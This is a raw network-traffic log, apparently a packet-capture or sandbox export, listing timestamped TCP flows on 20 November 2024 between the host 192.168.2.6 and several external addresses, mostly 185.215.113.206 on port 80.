Nov 20, 2024 14:43:43.361454010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.361629009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.361629009 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.361646891 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.361656904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.362308025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.362377882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.362401009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.362454891 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.363091946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.363157034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.363260031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.363321066 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.364118099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.364233017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.364409924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.364516020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.369344950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.369362116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.369424105 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.386816978 CET	443	49876	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:43.387736082 CET	49876	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:43.387754917 CET	443	49876	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:43.389225006 CET	443	49876	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:43.389625072 CET	49876	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:43.389688969 CET	443	49876	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:43.401916027 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.402736902 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.402761936 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.403340101 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.403348923 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.523114920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.523289919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.523334980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.523372889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.523488998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.523526907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.523941994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.524022102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.524504900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.524574995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.524926901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.525108099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.525625944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.525723934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.526616096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.526650906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.526663065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.526715994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.527631044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.527666092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.527702093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.527739048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.528619051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.528665066 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.528728962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.528774977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.529638052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.529685020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.530436039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.530476093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.530674934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.530694962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.530747890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.531755924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.531812906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.531860113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.531951904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.532722950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.532747984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.532774925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.532831907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.533032894 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.533673048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.533785105 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.533859015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.534085989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.534758091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.534799099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.534929991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.535089970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.535329103 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.535346031 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.535753965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.535918951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.535918951 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.535936117 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.536067009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.536550999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.536856890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.536864042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.537205935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.537869930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.538041115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.538100958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.538928986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.539052010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.539716005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.539824009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.539896011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.539902925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.539953947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.540923119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.540930033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.540994883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.541893959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.541906118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.541944027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.542850018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.542953014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.543122053 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.543256044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.543858051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.544156075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.544667006 CET	49876	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:43.544941902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.544949055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.545068026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.545381069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.545469999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.545953989 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.546093941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.546257019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.546336889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.546987057 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.547089100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.547100067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.547288895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.548005104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.548144102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.548167944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.548206091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.549118996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.549127102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.549182892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.550024033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.550357103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.550370932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.550443888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.551004887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.551330090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.551346064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.551414967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.552082062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.552231073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.552845955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.553009033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.553212881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.553345919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.554028988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.554167986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.554250956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.554291964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.554986000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.555351019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.555403948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.555423021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.556051970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.556062937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.556103945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.556129932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.556185961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.557261944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.557269096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.558053970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.558171034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.558264017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.559286118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.559293985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.559299946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.559345961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.560271025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.560419083 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.560441971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.560554981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.561326981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.561583042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.561729908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.561820030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.562336922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.562442064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.562710047 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.563268900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.563344955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.563364983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.563563108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.564273119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.564326048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.564614058 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.565298080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.565722942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.565988064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.566052914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.566378117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.566385031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.566749096 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.567358971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.567467928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.567846060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.568326950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.568938971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.568969965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.569051027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.569309950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.569475889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.569957018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.570498943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.570506096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.570688009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.571710110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.571772099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.572606087 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.572616100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.572628021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.572659969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.573472977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.573605061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.573757887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.573801041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.574541092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.574583054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.574752092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.574897051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.575786114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.576303959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.576359987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.576472044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.577382088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.647098064 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.648767948 CET	49873	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.648767948 CET	49873	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.648787022 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.648809910 CET	443	49873	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.697515011 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:43.697567940 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:43.697900057 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:43.700961113 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:43.700978041 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:43.724404097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.724459887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.724492073 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.724838972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.724875927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.724972963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.725048065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.725868940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.725994110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.726056099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.726885080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.726989031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.727329969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.727899075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.728072882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.728133917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.728955030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.729125977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.729146004 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.729964972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.730057955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.730108976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.730118036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.730231047 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.730957985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.731090069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.731139898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.731195927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.732027054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.732142925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.732369900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.733007908 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.733059883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.733063936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.733302116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.734133005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.734162092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.734616995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.735107899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.735196114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.735215902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.735354900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.736112118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.736366987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.736738920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.737131119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.737164974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.737468958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.737566948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.738056898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.738110065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.738528013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.738547087 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.738903999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.739129066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.739207983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.739399910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.739516020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.740186930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.740261078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.740608931 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.741168022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.741314888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.741338015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.741399050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.742157936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.742409945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.742474079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.743282080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.743289948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.743310928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.743340969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.744317055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.744404078 CET	443	49877	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:43.744479895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.744566917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.744657993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.745235920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.745333910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.745647907 CET	49877	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:43.745666027 CET	443	49877	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:43.745713949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.746234894 CET	443	49877	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:43.746244907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.746264935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.746372938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.746510029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.746583939 CET	49877	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:43.746618986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.746711969 CET	443	49877	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:43.747304916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.747616053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.747642040 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.748003006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.748372078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.748619080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.748923063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.748974085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.749316931 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.749325037 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.749650955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.750377893 CET	80	49800	185.215.113.206	192.168.2.6
